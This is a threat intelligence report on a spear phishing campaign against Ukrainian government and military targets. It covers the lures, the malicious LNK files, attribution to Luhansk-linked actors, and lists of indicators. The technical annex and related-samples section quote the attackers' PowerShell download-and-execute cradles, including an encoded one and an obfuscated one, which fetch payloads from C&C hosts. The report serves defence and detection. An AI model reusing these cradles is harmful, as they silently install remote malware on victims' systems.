In early 2019, FireEye Threat Intelligence identified a spear phishing email targeting government entities in Ukraine. The spear phishing email included a malicious LNK file with PowerShell script to download the second-stage payload from the command and control (C&C) server. The email was received by military departments in Ukraine and included lure content related to the sale of demining machines.

This latest activity is a continuation of spear phishing that targeted the Ukrainian Government as early as 2014. The email is linked to activity that previously targeted the Ukrainian Government with RATVERMIN. Infrastructure analysis indicates the actors behind the intrusion activity may be associated with the so-called Luhansk People's Republic (LPR).

The spear phishing email, sent on Jan. 22, 2019, used the subject "SPEC-20T-MK2-000-ISS-4.10-09-2018-STANDARD," and the sender was forged as Armtrac, a defense manufacturer in the United Kingdom (Figure 1).



Figure 1: The spear phishing email

The email included an attachment with the filename "Armtrac-Commercial.7z" (MD5: 982565e80981ce13c48e0147fb271fe5). This 7z package contained "Armtrac-Commercial.zip" (MD5: e92d01d9b1a783a23477e182914b2454) with two benign Armtrac documents and one malicious LNK file with a substituted icon (Figure 2).



Figure 2: LNK with substituted icon

Armtrac-20T-with-Equipment-35078.pdf (MD5: 0d6a46eb0d0148aafb34e287fcafa68f) is a benign document from the official Armtrac website.

SPEC-20T-MK2-000-ISS-4.10-09-2018-STANDARD.pdf (MD5: bace12f3be3d825c6339247f4bd73115) is a benign document from the official Armtrac website.

SPEC-10T-MK2-000-ISS-4.10-09-2018-STANDARD.pdf.lnk (MD5: ec0fb9d17ec77ad05f9a69879327e2f9) is a malicious LNK file that executes a PowerShell script. Interestingly, while the LNK file used a forged extension to impersonate a PDF document, the icon was replaced with a Microsoft Word document icon.

Sponsor Potentially Active Since 2014

Compilation times indicate that this actor, who focused primarily on Ukraine, may have been active since at least 2014. Their activity was first reported by FireEye Threat Intelligence in early 2018. They gradually increased in sophistication and leveraged both custom and open-source malware.

The 2018 campaign used standalone EXE or self-extracting RAR (SFX) files to infect victims. However, their recent activity showed increased sophistication by leveraging malicious LNK files. The group used open-source QUASARRAT and the RATVERMIN malware, which we have not seen used by any other groups. Domain resolutions and malware compile times suggest this group may have been active as early as 2014. Filenames and malware distribution data suggest the group is primarily focused on targeting Ukrainian entities.

Association With So-Called Luhansk People's Republic

FireEye Threat Intelligence analysis uncovered several indications that the actors behind this activity have ties to the breakaway so-called Luhansk People's Republic (LPR).

Registrant Overlap with Official So-Called LPR Website

Infrastructure analysis suggests these operators are linked to the so-called LPR and the persona "re2a1er1." The domain used as C&C by the previous LNK file (sinoptik[.]website) was registered under the email "[email protected]" The email address also registered the following domains.

Domains Registered by re2[email protected] Possible Mimicked Domains Description Possible Targeted Country 24ua[.]website 24tv.ua A large news portal in Ukraine UA censor[.]website censor.net.ua A large news portal in Ukraine UA fakty[.]website fakty.ua A large news portal in Ukraine UA groysman[.]host Volodymyr Borysovych Groysman V. B. Groysman is a politician who has been the Prime Minister of Ukraine since April 14, 2016 UA gordon.co[.]ua gordonua.com A large mail service in Ukraine UA mailukr[.]net ukr.net A large news portal in Ukraine UA me.co[.]ua me.gov.ua Ukraine's Ministry of Economic Development and Trade UA novaposhta[.]website novaposhta.ua Ukraine's largest logistics services company UA olx[.]website olx.ua Ukraine's largest online ad platform UA onlineua[.]website online.ua A large news portal in Ukraine UA rst[.]website rst.ua One of the largest car sales websites in Ukraine UA satv[.]pw Unknown TV-related UA sinoptik[.]website sinoptik.ua The largest weather website in Ukraine UA spectator[.]website spectator.co.uk A large news portal in the UK UK tv.co[.]ua Unknown TV-related UA uatoday[.]website uatoday.news A large news portal in Ukraine UA ukrposhta[.]website ukrposhta.ua State Post of Ukraine UA unian[.]pw unian.net A large news portal in Ukraine Unknown vj2[.]pw Unknown Unknown UA xn--90adzbis.xn--c1avg Not Applicable Punycode of Ministry of State Security of the So-Called Luhansk People’s Republic’s website UA z1k[.]pw zik.ua A large news portal in Ukraine UA milnews[.]info Unknown Military news UA

Table 1: Related infrastructure

One of the domains, "xn--90adzbis.xn--c1avg" is a Punycode of "мгблнр.орг," which is the official website of the Ministry of State Security of the So-Called LPR (Figure 3). Ukraine legislation describes so-called LPR as "temporarily occupied territory" and its government as an "occupying administration of the Russian Federation."



Figure 3: Official website of the Ministry of State Security of the So-Called Luhansk People's Republic (МГБ ЛНР - Министерство Государственной Безопасности Луганской Народной Республики)

Conclusions

This actor has likely been active since at least 2014, and its continuous targeting of the Ukrainian Government suggests a cyber espionage motivation. This is supported by the ties to the so-called LPR's security service. While more evidence is needed for definitive attribution, this activity showcases the accessibility of competent cyber espionage capabilities, even to sub-state actors. While this specific group is primarily a threat to Ukraine, nascent threats to Ukraine have previously become international concerns and bear monitoring.

Technical Annex

The LNK file (SPEC-10T-MK2-000-ISS-4.10-09-2018-STANDARD.pdf.lnk [MD5: ec0fb9d17ec77ad05f9a69879327e2f9]) included the following script (Figure 4) to execute a PowerShell script with Base64-encoded script:

vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -e

""""aQBlAHgAKABpAHcAcgAgAC0AdQBzAGUAYgAgAGgAdAB0AHAAOgAvAC8AcwBpAG4Ab

wBwAH QAaQBrAC4AdwBlAGIAcwBpAHQAZQAvAEUAdQBjAHoAUwBjACkAIAA="""""", 0 :

window.close")

Figure 4: LNK file script

The following command (Figure 5) was received after decoding the Base64-encoded string:

vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -e iex(iwr -useb

http://sinoptik[.]website/EuczSc)"", 0 : window.close")

Figure 5: LNK file command

The PowerShell script sends a request to URL "http://sinoptik[.]website/EuczSc." Unfortunately, the server was unreachable during analysis.

Network Infrastructure Linked to Attackers

The passive DNS records of the C&C domain "sinoptik[.]website" included the following IPs:

Host/Domain Name First Seen IP sinoptik[.]website 2018-09-17 78.140.167.89 sinoptik[.]website 2018-06-08 78.140.164.221 sinoptik[.]website 2018-03-16 185.125.46.158 www.sinoptik[.]website 2019-01-17 78.140.167.89

Table 2: Network infrastructure linked to attackers

Domains previously connected to RATVERMIN (aka VERMIN) and QUASARRAT (aka QUASAR) also resolved to IP "185.125.46.158" and include the following:

Malware MD5 C&C Malware Family 47161360b84388d1c254eb68ad3d6dfa akamainet022[.]info QUASARRAT 242f0ab53ac5d194af091296517ec10a notifymail[.]ru RATVERMIN 07633a79d28bb8b4ef8a6283b881be0e akamainet066[.]info QUASARRAT 5feae6cb9915c6378c4bb68740557d0a akamainet024[.]info RATVERMIN dc0ab74129a4be18d823b71a54b0cab0 akamaicdn[.]ru QUASARRAT bbcce9c91489eef00b48841015bb36c1 cdnakamai[.]ru QUASARRAT

Table 3: Additional malware linked to the attackers

RATVERMIN is a .NET backdoor that FireEye Threat Intelligence started tracking in March 2018. It has also been reported in public reports and blog posts.

Operators Highly Aggressive, Proactive

The actor is highly interactive with its tools and has responded within a couple of hours of receiving a new victim, demonstrating its ability to react quickly. An example of this hands-on style of operation occurred during live malware analysis. RATVERMIN operators observed that the malware was running from an unintended target at approximately 1700 GMT (12:00 PM Eastern Standard Time on a weekday) and promptly executed the publicly available Hidden Tear ransomware (saved to disk as hell0.exe, MD5: 8ff9bf73e23ce2c31e65874b34c54eac). The ransomware process was killed before it could execute successfully. If the Hidden Tear continued execution, a file would have been left on the desktop with the following message:

"Files have been encrypted with hidden tear. Send me some bitcoins or kebab. And I also hate night clubs, desserts, being drunk."

When live analysis resumed, the threat group behind the attack started deleting all the analysis tools on the machine. Upon resetting the machine and executing the malware again, this time with a text file open asking why they sent ransomware, the threat group responded by sending the following message via RATVERMIN's C&C domain (Figure 6):

C&C to Victim

HTTP/1.1 200 OK

Content-Length: 5203

Content-Type: multipart/related;

type="application/xop+xml";start="<http://tempuri[.]org/0>";boundary="uuid:67761605-

5c90-47ac-bcd8-

718a09548d60+id=14";start-info="application/soap+xml"

Server: Microsoft-HTTPAPI/2.0

MIME-Version: 1.0

Date: Tue, 20 Mar 2018 19:01:26 GMT

--uuid:67761605-5c90-47ac-bcd8-718a09548d60+id=14

Content-ID: <http://tempuri[.]org/0>

Content-Transfer-Encoding: 8bit

Content-Type: application/xop+xml;charset=utf-8;type="application/soap+xml" <TRUNCATED>

Mad ?

Figure 6: RATVERMIN's C&C domain message

Related Samples

Further research uncovered additional LNK files with PowerShell scripts that connect to the same C&C server.

Filename: Висновки. S021000262_1901141812000. Scancopy_0003. HP LaserJet Enterprise 700 M775dn(CC522A).docx.lnk (Ukrainian translation: Conclusion) MD5: fe198e90813c5ee1cfd95edce5241e25 Description: LNK file also has the substituted Microsoft Word document icon and sends a request to the same C&C domain C&C: http://sinoptik[.]website/OxslV6



PowerShell activity (Command Line Arguments):

vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell.exe -c iex(iwr -useb

http://sinoptik[.]website/OxslV6)"", 0 : window.close")

Figure 7: Additional LNK files with PowerShell scripts

Filename: КМУ база даних.zip (Ukrainian translation: Cabinet of Ministers of Ukraine database) MD5: a5300dc3e19f0f0b919de5cda4aeb71c Description: ZIP archive containing a malicious LNK file



Filename: Додаток.pdf (Ukrainian translation: Addition) MD5: a40fb835a54925aea12ffaa0d76f4ca7 Description: Benign decoy document



Filename: КМУ_база_даних_органи_упр,_СГ_КМУ.rtf.lnk MD5: 4b8aac0649c3a846c24f93dc670bb1ef Description: Malicious LNK that executes a PowerShell script C&C: http://cdn1186[.]site/zG4roJ



powershell.exe

-NoP -NonI -W hidden -Com "$cx=New-Object -ComObject

MsXml2.ServerXmlHttp;$cx.Open('GET','http://cdn1186[.]site/zG4roJ',$False);$cx.Send();

$cx.ResponseText|.( ''.Remove.ToString()[14,50,27]-Join'')"

!%SystemRoot%\system32\shell32.dll

Figure 8: Additional LNK files with PowerShell scripts

FireEye Detection

FireEye detection names for the indicators in the attack include the following:

FireEye Endpoint Security INVOKE CRADLECRAFTER (UTILITY)

MALICIOUS SCRIPT CONTENT A (METHODOLOGY)

MSHTA.EXE SUSPICIOUS COMMAND LINE SCRIPTING (METHODOLOGY)

OFFICE CLIENT SUSPICIOUS CHILD PROCESS (METHODOLOGY)

PERSISTENT MSHTA.EXE PROCESS EXECUTION (METHODOLOGY)

POWERSHELL.EXE EXECUTION ARGUMENT OBFUSCATION (METHODOLOGY)

POWERSHELL.EXE IEX ENCODED COMMAND (METHODOLOGY)

SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) FireEye Network Security 86300142_Backdoor.Win.QUASARRAT

86300140_Backdoor.Win.QUASARRAT

86300141_Backdoor.Win.QUASARRAT

Malware.archive

FE_Backdoor_MSIL_RATVERMIN_1

33340392_Backdoor.Win.RATVERMIN

33340391_Backdoor.Win.RATVERMIN FireEye Email Security FE_MSIL_Crypter

FE_Backdoor_MSIL_RATVERMIN_1

Malware.Binary.lnk

Malware.Binary.exe

Malware.archive

Backdoor.Win.QUASARRAT

Backdoor.Win.RATVERMIN

CustomPolicy.MVX.exe

CustomPolicy.MVX.65003.ExecutableDeliveredByEmail

Summary of Indicators

Malicious package and LNK files

982565e80981ce13c48e0147fb271fe5

e92d01d9b1a783a23477e182914b2454

ec0fb9d17ec77ad05f9a69879327e2f9

fe198e90813c5ee1cfd95edce5241e25

a5300dc3e19f0f0b919de5cda4aeb71c

4b8aac0649c3a846c24f93dc670bb1ef

Related File

0d6a46eb0d0148aafb34e287fcafa68f (decoy document)

bace12f3be3d825c6339247f4bd73115 (decoy document)

a40fb835a54925aea12ffaa0d76f4ca7 (decoy document)

Quasar RAT Samples

50b1f0391995a0ce5c2d937e880b93ee

47161360b84388d1c254eb68ad3d6dfa

07633a79d28bb8b4ef8a6283b881be0e

dc0ab74129a4be18d823b71a54b0cab0

bbcce9c91489eef00b48841015bb36c1

3ddc543facdc43dc5b1bdfa110fcffa3

5b5060ebb405140f87a1bb65e06c9e29

80b3d1c12fb6aaedc59ce4323b0850fe

d2c6e6b0fbe37685ddb865cf6b523d8c

dc0ab74129a4be18d823b71a54b0cab0

dca799ab332b1d6b599d909e17d2574c

RATVERMIN

242f0ab53ac5d194af091296517ec10a

5feae6cb9915c6378c4bb68740557d0a

5e974179f8ef661a64d8351e6df53104

0b85887358fb335ad0dd7ccbc2d64bb4

9f88187d774cc9eaf89dc65479c4302d

632d08020499a6b5ee4852ecadc79f2e

47cfac75d2158bf513bcd1ed5e3dd58c

8d8a84790c774adf4c677d2238999eb5

860b8735995df9e2de2126d3b8978dbf

987826a19f7789912015bb2e9297f38b

a012aa7f0863afbb7947b47bbaba642e

a6ecfb897ca270dd3516992386349123

7e2f581f61b9c7c71518fea601d3eeb3

b5a6aef6286dd4222c74257d2f44c4a5

0f34508772ac35b9ca8120173c14d5f0 (RATVERMIN's keylogger)

86d2493a14376fbc007a55295ef93500 (RATVERMIN's encryption tool)

04f1aa35525a44dcaf51d8790d1ca8a0 (RATVERMIN helper functions)

634d2a8181d08d5233ca696bb5a9070d (RATVERMIN helper functions)

d20ec4fdfc7bbf5356b0646e855eb250 (RATVERMIN helper functions)

5ba785aeb20218ec89175f8aaf2e5809 (RATVERMIN helper functions)

b2cf610ba67edabb62ef956b5e177d3a (RATVERMIN helper functions)

7e30836458eaad48bf57dc1decc27d09 (RATVERMIN helper functions)

df3e16f200eceeade184d6310a24c3f4 (RATVERMIN crypt functions)

86d2493a14376fbc007a55295ef93500 (RATVERMIN crypt functions)

d72448fd432f945bbccc39633757f254 (RATVERMIN task scheduler tool)

e8e954e4b01e93f10cefd57fce76de25 (RATVERMIN task scheduler tool)

Hidden Tear Ransomware

8ff9bf73e23ce2c31e65874b34c54eac

Malicious Infrastructure

akamainet022[.]info

akamainet066[.]info

akamainet024[.]info

akamainet023[.]info

akamainet066[.]info

akamainet021[.]info

www.akamainet066[.]info

www.akamainet023[.]info

www.akamainet022[.]info

www.akamainet021[.]info

akamaicdn[.]ru

cdnakamai[.]ru

mailukr[.]net

notifymail[.]ru

www.notifymail[.]ru

tech-adobe.dyndns[.]biz

sinoptik[.]website

cdn1186[.]site

news24ua[.]info

http://sinoptik[.]website/EuczSc

http://sinoptik[.]website/OxslV6

http://cdn1186[.]site/zG4roJ

206.54.179.196

195.78.105.23

185.125.46.24

185.158.153.222

188.227.16.73

212.116.121.46

185.125.46.158

94.158.46.251

188.227.75.189

Correlated Infrastructure